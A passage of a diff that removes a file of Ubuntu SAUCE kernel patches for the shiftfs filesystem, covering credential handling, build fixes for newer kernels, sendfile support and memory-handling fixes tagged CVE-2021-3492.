5328 -Link: https://travis-ci.community/t/arm64-ppc64le-segfaults/6158/3
5329 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
5330 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
5331 -Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
5332 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
5333 -Signed-off-by: Mike Pagano <mpagano@g.o>
5334 ----
5335 - fs/shiftfs.c | 2 ++
5336 - 1 file changed, 2 insertions(+)
5337 -
5338 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5339 -index 04fba4689eb6..3623d02b061e 100644
5340 ---- a/fs/shiftfs.c
5341 -+++ b/fs/shiftfs.c
5342 -@@ -583,6 +583,7 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
5343 - int err;
5344 - const struct cred *oldcred;
5345 -
5346 -+ dget(lowerd);
5347 - oldcred = shiftfs_override_creds(dentry->d_sb);
5348 - inode_lock_nested(loweri, I_MUTEX_PARENT);
5349 - if (rmdir)
5350 -@@ -602,6 +603,7 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
5351 - inode_unlock(loweri);
5352 -
5353 - shiftfs_copyattr(loweri, dir);
5354 -+ dput(lowerd);
5355 -
5356 - return err;
5357 - }
5358 ---
5359 -2.39.2
5360 -
5361 -From c9d38b0997c70e60f89b31c83d1b7a1e375f28b1 Mon Sep 17 00:00:00 2001
5362 -From: Christian Brauner <christian.brauner@××××××.com>
5363 -Date: Fri, 10 Apr 2020 16:55:28 +0200
5364 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: record correct creator credentials
5365 -Cc: mpagano@g.o
5366 -
5367 -BugLink: https://bugs.launchpad.net/bugs/1872094
5368 -
5369 -When shiftfs is nested we failed to be able to create any files or
5370 -access directories because we recorded the wrong creator credentials. We
5371 -need to record the credentials of the creator of the lowers mark mount
5372 -of shiftfs. Otherwise we aren't privileged wrt to the shiftfs layer in
5373 -the nesting case. This is similar to how we always record the user
5374 -namespace of the base filesystem.
5375 -
5376 -Suggested-by: Seth Forshee <seth.forshee@×××××××××.com>
5377 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
5378 -Acked-by: Kleber Sacilotto de Souza <kleber.souza@×××××××××.com>
5379 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
5380 -Signed-off-by: Mike Pagano <mpagano@g.o>
5381 ----
5382 - fs/shiftfs.c | 17 +++++++++--------
5383 - 1 file changed, 9 insertions(+), 8 deletions(-)
5384 -
5385 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5386 -index 3623d02b061e..5c39529d0a17 100644
5387 ---- a/fs/shiftfs.c
5388 -+++ b/fs/shiftfs.c
5389 -@@ -2020,6 +2020,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
5390 - * parent mark mountpoint.
5391 - */
5392 - sbinfo->passthrough_mark = sbinfo_mp->passthrough_mark;
5393 -+ sbinfo->creator_cred = get_cred(sbinfo_mp->creator_cred);
5394 - } else {
5395 - sbinfo->mnt = mntget(path.mnt);
5396 - dentry = dget(path.dentry);
5397 -@@ -2028,16 +2029,16 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
5398 - * are identical.
5399 - */
5400 - sbinfo->passthrough_mark = sbinfo->passthrough;
5401 -- }
5402 -
5403 -- cred_tmp = prepare_creds();
5404 -- if (!cred_tmp) {
5405 -- err = -ENOMEM;
5406 -- goto out_put_path;
5407 -+ cred_tmp = prepare_creds();
5408 -+ if (!cred_tmp) {
5409 -+ err = -ENOMEM;
5410 -+ goto out_put_path;
5411 -+ }
5412 -+ /* Don't override disk quota limits or use reserved space. */
5413 -+ cap_lower(cred_tmp->cap_effective, CAP_SYS_RESOURCE);
5414 -+ sbinfo->creator_cred = cred_tmp;
5415 - }
5416 -- /* Don't override disk quota limits or use reserved space. */
5417 -- cap_lower(cred_tmp->cap_effective, CAP_SYS_RESOURCE);
5418 -- sbinfo->creator_cred = cred_tmp;
5419 - } else {
5420 - /*
5421 - * This leg executes if we're admin capable in the namespace,
5422 ---
5423 -2.39.2
5424 -
5425 -From 485977eb4fb2701211275d28ca4fdbec87704a18 Mon Sep 17 00:00:00 2001
5426 -From: Christian Brauner <christian.brauner@××××××.com>
5427 -Date: Wed, 20 May 2020 13:44:27 +0200
5428 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: let userns root destroy subvolumes
5429 - from other users
5430 -MIME-Version: 1.0
5431 -Content-Type: text/plain; charset=UTF-8
5432 -Content-Transfer-Encoding: 8bit
5433 -Cc: mpagano@g.o
5434 -
5435 -BugLink: https://bugs.launchpad.net/bugs/1879688
5436 -
5437 -Stéphane reported a bug found during NorthSec that makes heavy use of
5438 -shiftfs. When a subvolume or snapshot is created as userns root in the
5439 -container and then chowned to another user a delete as the root user
5440 -will fail. The reason for this is that we drop all capabilities as a
5441 -safety measure before calling btrfs ioctls. The only workable fix I
5442 -could think of is to retain the CAP_DAC_OVERRIDE capability for the
5443 -BTRFS_IOC_SNAP_DESTROY ioctl. All other solutions would be way more
5444 -invasive.
5445 -
5446 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
5447 -Cc: Seth Forshee <seth.forshee@×××××××××.com>
5448 -Acked-by: Kleber Sacilotto de Souza <kleber.souza@×××××××××.com>
5449 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
5450 -Signed-off-by: Mike Pagano <mpagano@g.o>
5451 ----
5452 - fs/shiftfs.c | 14 ++++++++++++--
5453 - 1 file changed, 12 insertions(+), 2 deletions(-)
5454 -
5455 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5456 -index 5c39529d0a17..5d88193b41db 100644
5457 ---- a/fs/shiftfs.c
5458 -+++ b/fs/shiftfs.c
5459 -@@ -1356,7 +1356,7 @@ static int shiftfs_fadvise(struct file *file, loff_t offset, loff_t len,
5460 - return ret;
5461 - }
5462 -
5463 --static int shiftfs_override_ioctl_creds(const struct super_block *sb,
5464 -+static int shiftfs_override_ioctl_creds(int cmd, const struct super_block *sb,
5465 - const struct cred **oldcred,
5466 - struct cred **newcred)
5467 - {
5468 -@@ -1381,6 +1381,16 @@ static int shiftfs_override_ioctl_creds(const struct super_block *sb,
5469 - cap_clear((*newcred)->cap_inheritable);
5470 - cap_clear((*newcred)->cap_permitted);
5471 -
5472 -+ if (cmd == BTRFS_IOC_SNAP_DESTROY) {
5473 -+ kuid_t kuid_root = make_kuid(sb->s_user_ns, 0);
5474 -+ /*
5475 -+ * Allow the root user in the container to remove subvolumes
5476 -+ * from other users.
5477 -+ */
5478 -+ if (uid_valid(kuid_root) && uid_eq(fsuid, kuid_root))
5479 -+ cap_raise((*newcred)->cap_effective, CAP_DAC_OVERRIDE);
5480 -+ }
5481 -+
5482 - put_cred(override_creds(*newcred));
5483 - return 0;
5484 - }
5485 -@@ -1513,7 +1523,7 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd,
5486 - if (ret)
5487 - goto out_restore;
5488 -
5489 -- ret = shiftfs_override_ioctl_creds(sb, &oldcred, &newcred);
5490 -+ ret = shiftfs_override_ioctl_creds(cmd, sb, &oldcred, &newcred);
5491 - if (ret)
5492 - goto out_fdput;
5493 -
5494 ---
5495 -2.39.2
5496 -
5497 -From e090464bdd744306b3b766b2a675ee26e934f1ef Mon Sep 17 00:00:00 2001
5498 -From: Seth Forshee <seth.forshee@×××××××××.com>
5499 -Date: Mon, 15 Jun 2020 15:16:11 -0500
5500 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs -- Fix build errors from missing
5501 - fiemap definitions
5502 -Cc: mpagano@g.o
5503 -
5504 -shiftfs FTBFS with 5.8-rc1:
5505 -
5506 - /tmp/kernel-sforshee-6727637082e4-45IQ/build/fs/shiftfs.c: In function 'shiftfs_fiemap':
5507 - /tmp/kernel-sforshee-6727637082e4-45IQ/build/fs/shiftfs.c:731:13: error: dereferencing pointer to incomplete type 'struct fiemap_extent_info'
5508 - /tmp/kernel-sforshee-6727637082e4-45IQ/build/fs/shiftfs.c:731:26: error: 'FIEMAP_FLAG_SYNC' undeclared (first use in this function); did you mean 'FS_XFLAG_SYNC'?
5509 -
5510 -It seems that shiftfs was getting linux/fiemap.h included
5511 -indirectly before. Include it directly.
5512 -
5513 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
5514 -Signed-off-by: Mike Pagano <mpagano@g.o>
5515 ----
5516 - fs/shiftfs.c | 1 +
5517 - 1 file changed, 1 insertion(+)
5518 -
5519 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5520 -index 5d88193b41db..f9a5c94a9793 100644
5521 ---- a/fs/shiftfs.c
5522 -+++ b/fs/shiftfs.c
5523 -@@ -20,6 +20,7 @@
5524 - #include <linux/posix_acl.h>
5525 - #include <linux/posix_acl_xattr.h>
5526 - #include <linux/uio.h>
5527 -+#include <linux/fiemap.h>
5528 -
5529 - struct shiftfs_super_info {
5530 - struct vfsmount *mnt;
5531 ---
5532 -2.39.2
5533 -
5534 -From 436cc946e1acb3833c41e6a7df3239f5f559369a Mon Sep 17 00:00:00 2001
5535 -From: Christian Brauner <christian.brauner@××××××.com>
5536 -Date: Tue, 23 Jun 2020 19:46:16 +0200
5537 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: prevent ESTALE for LOOKUP_JUMP
5538 - lookups
5539 -Cc: mpagano@g.o
5540 -
5541 -BugLink: https://bugs.launchpad.net/bugs/1872757
5542 -
5543 -Users reported that creating temporary files shiftfs reports ESTALE.
5544 -This can be reproduced via:
5545 -
5546 -import tempfile
5547 -import os
5548 -
5549 -def test():
5550 - with tempfile.TemporaryFile() as fd:
5551 - fd.write("data".encode('utf-8'))
5552 - # re-open the file to get a read-only file descriptor
5553 - return open(f"/proc/self/fd/{fd.fileno()}", "r")
5554 -
5555 -def main():
5556 - fd = test()
5557 - fd.close()
5558 -
5559 -if __name__ == "__main__":
5560 - main()
5561 -
5562 -a similar issue was reported here:
5563 -https://github.com/systemd/systemd/issues/14861
5564 -
5565 -Our revalidate methods were very opinionated about whether or not a
5566 -lower dentry was valid especially when it became unlinked we simply
5567 -invalidated the lower dentry which caused above bug to surface. This has
5568 -led to bugs where a ESTALE was returned for e.g. temporary files that
5569 -were created and directly re-opened afterwards through
5570 -/proc/<pid>/fd/<nr-of-deleted-file>. When a file is re-opened through
5571 -/proc/<pid>/fd/<nr> LOOKUP_JUMP is set and the vfs will revalidate via
5572 -d_weak_revalidate(). Since the file has been unhashed or even already
5573 -gone negative we'd fail the open when we should've succeeded.
5574 -
5575 -Reported-by: Christian Kellner <ckellner@××××××.com>
5576 -Reported-by: Evgeny Vereshchagin <evvers@××.ru>
5577 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
5578 -Cc: Seth Forshee <seth.forshee@×××××××××.com>
5579 -Link: https://github.com/systemd/systemd/issues/14861
5580 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
5581 -Signed-off-by: Mike Pagano <mpagano@g.o>
5582 ----
5583 - fs/shiftfs.c | 4 ----
5584 - 1 file changed, 4 deletions(-)
5585 -
5586 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5587 -index f9a5c94a9793..3cfd1881e9a2 100644
5588 ---- a/fs/shiftfs.c
5589 -+++ b/fs/shiftfs.c
5590 -@@ -252,8 +252,6 @@ static int shiftfs_d_weak_revalidate(struct dentry *dentry, unsigned int flags)
5591 - struct inode *loweri = d_inode(lowerd);
5592 -
5593 - shiftfs_copyattr(loweri, inode);
5594 -- if (!inode->i_nlink)
5595 -- err = 0;
5596 - }
5597 -
5598 - return err;
5599 -@@ -279,8 +277,6 @@ static int shiftfs_d_revalidate(struct dentry *dentry, unsigned int flags)
5600 - struct inode *loweri = d_inode(lowerd);
5601 -
5602 - shiftfs_copyattr(loweri, inode);
5603 -- if (!inode->i_nlink)
5604 -- err = 0;
5605 - }
5606 -
5607 - return err;
5608 ---
5609 -2.39.2
5610 -
5611 -From 21c3ebac069050649a03a1e9d5f2fd4c895fc6cd Mon Sep 17 00:00:00 2001
5612 -From: Andrea Righi <andrea.righi@×××××××××.com>
5613 -Date: Wed, 30 Dec 2020 11:10:20 +0100
5614 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix build error with 5.11
5615 -Cc: mpagano@g.o
5616 -
5617 -After commit:
5618 -
5619 - 8760c909f54a82aaa6e76da19afe798a0c77c3c3 ("file: Rename __close_fd to close_fd and remove the files parameter")
5620 -
5621 -__close_fd() has been renamed to close_fd() and the files parameter has
5622 -been removed.
5623 -
5624 -Change the shiftfs code to properly support this change.
5625 -
5626 -Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
5627 -Signed-off-by: Mike Pagano <mpagano@g.o>
5628 ----
5629 - fs/shiftfs.c | 4 ++--
5630 - 1 file changed, 2 insertions(+), 2 deletions(-)
5631 -
5632 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5633 -index 3cfd1881e9a2..4f1d94903557 100644
5634 ---- a/fs/shiftfs.c
5635 -+++ b/fs/shiftfs.c
5636 -@@ -1420,7 +1420,7 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, int fd, void __user *arg,
5637 - else
5638 - ret = copy_to_user(arg, v2, sizeof(*v2));
5639 -
5640 -- __close_fd(current->files, fd);
5641 -+ close_fd(fd);
5642 - kfree(v1);
5643 - kfree(v2);
5644 -
5645 -@@ -1468,7 +1468,7 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
5646 - /*
5647 - * shiftfs_real_fdget() does not take a reference to lfd.file, so
5648 - * take a reference here to offset the one which will be put by
5649 -- * __close_fd(), and make sure that reference is put on fdput(lfd).
5650 -+ * close_fd(), and make sure that reference is put on fdput(lfd).
5651 - */
5652 - get_file(lfd.file);
5653 - lfd.flags |= FDPUT_FPUT;
5654 ---
5655 -2.39.2
5656 -
5657 -From c0ebd52879a8805e07e59a25e72bce73e2ddcd90 Mon Sep 17 00:00:00 2001
5658 -From: Seth Forshee <seth.forshee@×××××××××.com>
5659 -Date: Fri, 9 Apr 2021 13:01:06 -0500
5660 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: free allocated memory in
5661 - shiftfs_btrfs_ioctl_fd_replace() error paths
5662 -Cc: mpagano@g.o
5663 -
5664 -Many error paths in shiftfs_btrfs_ioctl_fd_replace() do not free memory
5665 -allocated near the top of the function. Fix up these error paths to free
5666 -the memory.
5667 -
5668 -Additionally, the addresses for the allocated memory are assigned to
5669 -return parameters early in the function, before we know whether or not
5670 -the function as a whole will return success. Wait to assign these values
5671 -until we know the function was successful, and for good measure
5672 -initialize the return parameters to NULL at the start.
5673 -
5674 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
5675 -CVE-2021-3492
5676 -Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@×××××××××.com>
5677 -Signed-off-by: Mike Pagano <mpagano@g.o>
5678 ----
5679 - fs/shiftfs.c | 28 +++++++++++++++++++++-------
5680 - 1 file changed, 21 insertions(+), 7 deletions(-)
5681 -
5682 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5683 -index 4f1d94903557..8eab93691d62 100644
5684 ---- a/fs/shiftfs.c
5685 -+++ b/fs/shiftfs.c
5686 -@@ -1438,6 +1438,9 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
5687 - struct btrfs_ioctl_vol_args *v1 = NULL;
5688 - struct btrfs_ioctl_vol_args_v2 *v2 = NULL;
5689 -
5690 -+ *b1 = NULL;
5691 -+ *b2 = NULL;
5692 -+
5693 - if (!is_btrfs_snap_ioctl(cmd))
5694 - return 0;
5695 -
5696 -@@ -1446,23 +1449,23 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
5697 - if (IS_ERR(v1))
5698 - return PTR_ERR(v1);
5699 - oldfd = v1->fd;
5700 -- *b1 = v1;
5701 - } else {
5702 - v2 = memdup_user(arg, sizeof(*v2));
5703 - if (IS_ERR(v2))
5704 - return PTR_ERR(v2);
5705 - oldfd = v2->fd;
5706 -- *b2 = v2;
5707 - }
5708 -
5709 - src = fdget(oldfd);
5710 -- if (!src.file)
5711 -- return -EINVAL;
5712 -+ if (!src.file) {
5713 -+ ret = -EINVAL;
5714 -+ goto err_free;
5715 -+ }
5716 -
5717 - ret = shiftfs_real_fdget(src.file, &lfd);
5718 - if (ret) {
5719 - fdput(src);
5720 -- return ret;
5721 -+ goto err_free;
5722 - }
5723 -
5724 - /*
5725 -@@ -1477,7 +1480,8 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
5726 - *newfd = get_unused_fd_flags(lfd.file->f_flags);
5727 - if (*newfd < 0) {
5728 - fdput(lfd);
5729 -- return *newfd;
5730 -+ ret = *newfd;
5731 -+ goto err_free;
5732 - }
5733 -
5734 - fd_install(*newfd, lfd.file);
5735 -@@ -1492,8 +1496,18 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
5736 - v2->fd = oldfd;
5737 - }
5738 -
5739 -- if (ret)
5740 -+ if (!ret) {
5741 -+ *b1 = v1;
5742 -+ *b2 = v2;
5743 -+ } else {
5744 - shiftfs_btrfs_ioctl_fd_restore(cmd, *newfd, arg, v1, v2);
5745 -+ }
5746 -+
5747 -+ return ret;
5748 -+
5749 -+err_free:
5750 -+ kfree(v1);
5751 -+ kfree(v2);
5752 -
5753 - return ret;
5754 - }
5755 ---
5756 -2.39.2
5757 -
5758 -From f0a7637da44fdf17351c0ba4c3f616941c749f57 Mon Sep 17 00:00:00 2001
5759 -From: Seth Forshee <seth.forshee@×××××××××.com>
5760 -Date: Fri, 9 Apr 2021 13:10:37 -0500
5761 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: handle copy_to_user() return values
5762 - correctly
5763 -Cc: mpagano@g.o
5764 -
5765 -shiftfs expects copy_to_user() to return a negative error code on
5766 -failure, when it actually returns the amount of uncopied data. Fix all
5767 -code using copy_to_user() to handle the return values correctly.
5768 -
5769 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
5770 -CVE-2021-3492
5771 -Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@×××××××××.com>
5772 -Signed-off-by: Mike Pagano <mpagano@g.o>
5773 ----
5774 - fs/shiftfs.c | 3 ++-
5775 - 1 file changed, 2 insertions(+), 1 deletion(-)
5776 -
5777 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5778 -index 8eab93691d62..abeb7db3b9be 100644
5779 ---- a/fs/shiftfs.c
5780 -+++ b/fs/shiftfs.c
5781 -@@ -1424,7 +1424,7 @@ static int shiftfs_btrfs_ioctl_fd_restore(int cmd, int fd, void __user *arg,
5782 - kfree(v1);
5783 - kfree(v2);
5784 -
5785 -- return ret;
5786 -+ return ret ? -EFAULT: 0;
5787 - }
5788 -
5789 - static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
5790 -@@ -1501,6 +1501,7 @@ static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg,
5791 - *b2 = v2;
5792 - } else {
5793 - shiftfs_btrfs_ioctl_fd_restore(cmd, *newfd, arg, v1, v2);
5794 -+ ret = -EFAULT;
5795 - }
5796 -
5797 - return ret;
5798 ---
5799 -2.39.2
5800 -
5801 -From d2e7abdd84fb28842c61ffd7128977f29518e4ef Mon Sep 17 00:00:00 2001
5802 -From: Christian Brauner <christian.brauner@××××××.com>
5803 -Date: Mon, 9 Aug 2021 17:15:28 +0200
5804 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix sendfile() invocations
5805 -Cc: mpagano@g.o
5806 -
5807 -BugLink: https://bugs.launchpad.net/bugs/1939301
5808 -
5809 -Upstream commit 36e2c7421f02 ("fs: don't allow splice read/write without explicit ops")
5810 -caused a regression for us. It states:
5811 -
5812 -> default_file_splice_write is the last piece of generic code that uses
5813 -> set_fs to make the uaccess routines operate on kernel pointers. It
5814 -> implements a "fallback loop" for splicing from files that do not actually
5815 -> provide a proper splice_read method. The usual file systems and other
5816 -> high bandwidth instances all provide a ->splice_read, so this just removes
5817 -> support for various device drivers and procfs/debugfs files. If splice
5818 -> support for any of those turns out to be important it can be added back
5819 -> by switching them to the iter ops and using generic_file_splice_read.
5820 -
5821 -this means that currently all workloads making use of sendfile() on
5822 -shiftfs fail. This includes LXD, Anbox and a range of others. Fix this
5823 -by providing explicit .splice_read() and .splice_write() methods which
5824 -jus restores the status quo and we keep using a generic method provided
5825 -by the vfs.
5826 -
5827 -Cc: Seth Forshee <sforshee@××××××.org>
5828 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
5829 -Signed-off-by: Paolo Pisati <paolo.pisati@×××××××××.com>
5830 -Signed-off-by: Mike Pagano <mpagano@g.o>
5831 ----
5832 - fs/shiftfs.c | 2 ++
5833 - 1 file changed, 2 insertions(+)
5834 -
5835 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5836 -index abeb7db3b9be..f5f6d8d8144e 100644
5837 ---- a/fs/shiftfs.c
5838 -+++ b/fs/shiftfs.c
5839 -@@ -1737,6 +1737,8 @@ const struct file_operations shiftfs_file_operations = {
5840 - .compat_ioctl = shiftfs_compat_ioctl,
5841 - .copy_file_range = shiftfs_copy_file_range,
5842 - .remap_file_range = shiftfs_remap_file_range,
5843 -+ .splice_read = generic_file_splice_read,
5844 -+ .splice_write = iter_file_splice_write,
5845 - };
5846 -
5847 - const struct file_operations shiftfs_dir_operations = {
5848 ---
5849 -2.39.2
5850 -
5851 -From ff28712d9e52b3b0b2127e9898b96f7c1e11bd26 Mon Sep 17 00:00:00 2001
5852 -From: Andrea Righi <andrea.righi@×××××××××.com>
5853 -Date: Thu, 20 Jan 2022 16:55:24 +0100
5854 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support kernel 5.15
5855 -Cc: mpagano@g.o
5856 -
5857 -WARNING: after this change we may see some regressions if shiftfs is
5858 -used with filesystem namespaces.
5859 -
5860 -Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com>
5861 -Signed-off-by: Mike Pagano <mpagano@g.o>
5862 ----
5863 - fs/shiftfs.c | 107 ++++++++++++++++++++++++++++++---------------------
5864 - 1 file changed, 64 insertions(+), 43 deletions(-)
5865 -
5866 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
5867 -index f5f6d8d8144e..76c54bc12018 100644
5868 ---- a/fs/shiftfs.c
5869 -+++ b/fs/shiftfs.c
5870 -@@ -308,7 +308,8 @@ static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode,
5871 - return p;
5872 - }
5873 -
5874 --static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode,
5875 -+static int shiftfs_setxattr(struct user_namespace *ns,
5876 -+ struct dentry *dentry, struct inode *inode,
5877 - const char *name, const void *value,
5878 - size_t size, int flags)
5879 - {
5880 -@@ -317,7 +318,7 @@ static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode,
5881 - const struct cred *oldcred;
5882 -
5883 - oldcred = shiftfs_override_creds(dentry->d_sb);
5884 -- err = vfs_setxattr(lowerd, name, value, size, flags);
5885 -+ err = vfs_setxattr(ns, lowerd, name, value, size, flags);
5886 - revert_creds(oldcred);
5887 -
5888 - shiftfs_copyattr(lowerd->d_inode, inode);
5889 -@@ -334,7 +335,7 @@ static int shiftfs_xattr_get(const struct xattr_handler *handler,
5890 - const struct cred *oldcred;
5891 -
5892 - oldcred = shiftfs_override_creds(dentry->d_sb);
5893 -- err = vfs_getxattr(lowerd, name, value, size);
5894 -+ err = vfs_getxattr(&init_user_ns, lowerd, name, value, size);
5895 - revert_creds(oldcred);
5896 -
5897 - return err;
5898 -@@ -354,14 +355,15 @@ static ssize_t shiftfs_listxattr(struct dentry *dentry, char *list,
5899 - return err;
5900 - }
5901 -
5902 --static int shiftfs_removexattr(struct dentry *dentry, const char *name)
5903 -+static int shiftfs_removexattr(struct user_namespace *ns,
5904 -+ struct dentry *dentry, const char *name)
5905 - {
5906 - struct dentry *lowerd = dentry->d_fsdata;
5907 - int err;
5908 - const struct cred *oldcred;
5909 -
5910 - oldcred = shiftfs_override_creds(dentry->d_sb);
5911 -- err = vfs_removexattr(lowerd, name);
5912 -+ err = vfs_removexattr(ns, lowerd, name);
5913 - revert_creds(oldcred);
5914 -
5915 - /* update c/mtime */
5916 -@@ -371,13 +373,14 @@ static int shiftfs_removexattr(struct dentry *dentry, const char *name)
5917 - }
5918 -
5919 - static int shiftfs_xattr_set(const struct xattr_handler *handler,
5920 -+ struct user_namespace *ns,
5921 - struct dentry *dentry, struct inode *inode,
5922 - const char *name, const void *value, size_t size,
5923 - int flags)
5924 - {
5925 - if (!value)
5926 -- return shiftfs_removexattr(dentry, name);
5927 -- return shiftfs_setxattr(dentry, inode, name, value, size, flags);
5928 -+ return shiftfs_removexattr(ns, dentry, name);
5929 -+ return shiftfs_setxattr(ns, dentry, inode, name, value, size, flags);
5930 - }
5931 -
5932 - static int shiftfs_inode_test(struct inode *inode, void *data)
5933 -@@ -391,7 +394,8 @@ static int shiftfs_inode_set(struct inode *inode, void *data)
5934 - return 0;
5935 - }
5936 -
5937 --static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
5938 -+static int shiftfs_create_object(struct user_namespace *ns,
5939 -+ struct inode *diri, struct dentry *dentry,
5940 - umode_t mode, const char *symlink,
5941 - struct dentry *hardlink, bool excl)
5942 - {
5943 -@@ -453,7 +457,7 @@ static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
5944 - inode->i_state |= I_CREATING;
5945 - spin_unlock(&inode->i_lock);
5946 -
5947 -- inode_init_owner(inode, diri, mode);
5948 -+ inode_init_owner(ns, inode, diri, mode);
5949 - modei = inode->i_mode;
5950 - }
5951 -
5952 -@@ -464,22 +468,22 @@ static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
5953 -
5954 - if (hardlink) {
5955 - lowerd_link = hardlink->d_fsdata;
5956 -- err = vfs_link(lowerd_link, loweri_dir, lowerd_new, NULL);
5957 -+ err = vfs_link(lowerd_link, ns, loweri_dir, lowerd_new, NULL);
5958 - } else {
5959 - switch (modei & S_IFMT) {
5960 - case S_IFDIR:
5961 -- err = vfs_mkdir(loweri_dir, lowerd_new, modei);
5962 -+ err = vfs_mkdir(ns, loweri_dir, lowerd_new, modei);
5963 - break;
5964 - case S_IFREG:
5965 -- err = vfs_create(loweri_dir, lowerd_new, modei, excl);
5966 -+ err = vfs_create(ns, loweri_dir, lowerd_new, modei, excl);
5967 - break;
5968 - case S_IFLNK:
5969 -- err = vfs_symlink(loweri_dir, lowerd_new, symlink);
5970 -+ err = vfs_symlink(ns, loweri_dir, lowerd_new, symlink);
5971 - break;
5972 - case S_IFSOCK:
5973 - /* fall through */
5974 - case S_IFIFO:
5975 -- err = vfs_mknod(loweri_dir, lowerd_new, modei, 0);
5976 -+ err = vfs_mknod(ns, loweri_dir, lowerd_new, modei, 0);
5977 - break;
5978 - default:
5979 - err = -EINVAL;
5980 -@@ -535,41 +539,43 @@ static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
5981 - return err;
5982 - }
5983 -
5984 --static int shiftfs_create(struct inode *dir, struct dentry *dentry,
5985 -+static int shiftfs_create(struct user_namespace *ns,
5986 -+ struct inode *dir, struct dentry *dentry,
5987 - umode_t mode, bool excl)
5988 - {
5989 - mode |= S_IFREG;
5990 -
5991 -- return shiftfs_create_object(dir, dentry, mode, NULL, NULL, excl);
5992 -+ return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, excl);
5993 - }
5994 -
5995 --static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry,
5996 -+static int shiftfs_mkdir(struct user_namespace *ns, struct inode *dir, struct dentry *dentry,
5997 - umode_t mode)
5998 - {
5999 - mode |= S_IFDIR;
6000 -
6001 -- return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
6002 -+ return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false);
6003 - }
6004 -
6005 - static int shiftfs_link(struct dentry *hardlink, struct inode *dir,
6006 - struct dentry *dentry)
6007 - {
6008 -- return shiftfs_create_object(dir, dentry, 0, NULL, hardlink, false);
6009 -+ return shiftfs_create_object(&init_user_ns, dir, dentry, 0, NULL, hardlink, false);
6010 - }
6011 -
6012 --static int shiftfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode,
6013 -+static int shiftfs_mknod(struct user_namespace *ns,
6014 -+ struct inode *dir, struct dentry *dentry, umode_t mode,
6015 - dev_t rdev)
6016 - {
6017 - if (!S_ISFIFO(mode) && !S_ISSOCK(mode))
6018 - return -EPERM;
6019 -
6020 -- return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
6021 -+ return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false);
6022 - }
6023 -
6024 --static int shiftfs_symlink(struct inode *dir, struct dentry *dentry,
6025 -+static int shiftfs_symlink(struct user_namespace *ns, struct inode *dir, struct dentry *dentry,
6026 - const char *symlink)
6027 - {
6028 -- return shiftfs_create_object(dir, dentry, S_IFLNK, symlink, NULL, false);
6029 -+ return shiftfs_create_object(ns, dir, dentry, S_IFLNK, symlink, NULL, false);
6030 - }
6031 -
6032 - static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
6033 -@@ -584,9 +590,9 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
6034 - oldcred = shiftfs_override_creds(dentry->d_sb);
6035 - inode_lock_nested(loweri, I_MUTEX_PARENT);
6036 - if (rmdir)
6037 -- err = vfs_rmdir(loweri, lowerd);
